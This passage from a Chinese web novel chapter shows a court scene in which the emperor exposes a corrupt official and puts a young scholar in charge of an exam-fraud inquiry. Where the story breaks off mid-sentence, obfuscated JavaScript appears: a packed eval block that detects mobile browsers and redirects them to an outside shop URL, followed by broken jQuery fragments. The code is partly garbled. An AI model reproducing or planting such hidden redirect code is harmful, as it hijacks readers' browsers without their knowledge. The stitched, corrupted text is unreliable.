除掉三皇子的心腹官员,这事,也是伪造?”
一桩桩,一件件,时间、地点、人物、金额……全都准确无误!
柳文渊脸色惨白如纸,浑身发抖。
他怎么也想不到,永昌帝竟掌握了这么多证据!
“柳文渊,”永昌帝的声音陡然转厉,“朕再问你最后一次——此事,到底还有谁参与?!”
殿上一片死寂。
所有朝臣都屏住了呼吸,等待着柳文渊的回答。
柳文渊跪在地上,低着头,肩膀剧烈颤抖。许久,他才抬起头,眼中已是一片死灰。
“陛下……”他声音嘶哑,“臣……无话可说。”
无话可说。
这四个字,等于默认了一切。
朝臣们哗然!
“陛下!”一个老臣出列,颤声道,“若柳文渊所言属实,那此事……牵扯太广了!臣请陛下,彻查到底!”
“臣附议!”又一人出列,“科举乃国家抡才大典,岂容宵小染指!必须查个水落石出!”
“臣附议!”
“臣也附议!”
一时间,附议之声此起彼伏。
永昌帝看着跪了一地的朝臣,眼中闪过一丝欣慰,但更多的,是深沉的疲惫。
“众卿平身。”他缓缓道,“此案,朕已交由江清砚主理,三司协办。无论牵扯到谁,一查到底。”
江清砚?
朝臣们面面相觑。那个刚中会元、揭开水鬼帮案子的书生?他才多大?能担此重任吗?
“陛下,”一个须发皆白的老臣出列,正是内阁首辅杨文正,“江清砚虽揭发大案有功,但毕竟年轻,又无官场经验。此案干系重大,恐非他能胜任。”
“杨阁老说得对。”另一人附和,“不如由三司主理,江清砚从旁协助。”
永昌帝摇头:“此事,非江清砚不可。”
“为何?”
“因为……”永昌帝顿了顿,目光扫过殿上众臣,“因为此案牵扯太深,朝中官员,朕……信不过。”
信不过。
这三个字,像一记重锤,砸在每个人心上。
是啊,水鬼帮渗透朝堂,谁也不知道,身边站着的同僚,是不是那些“失踪”的举子冒充的。谁也不知道,平日里道貌岸然的官员,是不是收了水鬼帮的贿赂,为他们大开方便之门。
这种情况下,用朝中官员查案,无异于让贼抓贼。
只有江清砚——一个毫无背景、刚入京城的书生,才是真正干净的人选。
“可是陛下,”杨文正仍不甘心,“江清砚的身体……”
“朕知道。”永昌帝打断他,“所以,朕赐他尚方宝剑,准他便宜行事。另派六扇门总捕谢云辞协助,务必查明真相。”
话音刚落,殿外传来一声高唱:
“江清砚到——”
所有人的目光再次投向殿门。
只见一个身着月白直裰的少年,缓缓走入殿中。他脸色苍白,身形清瘦,走得很慢,每一步都显得有些吃力。但他背脊挺直,眼神清澈而坚定,像一株在风雪中傲
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16863507|191730||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''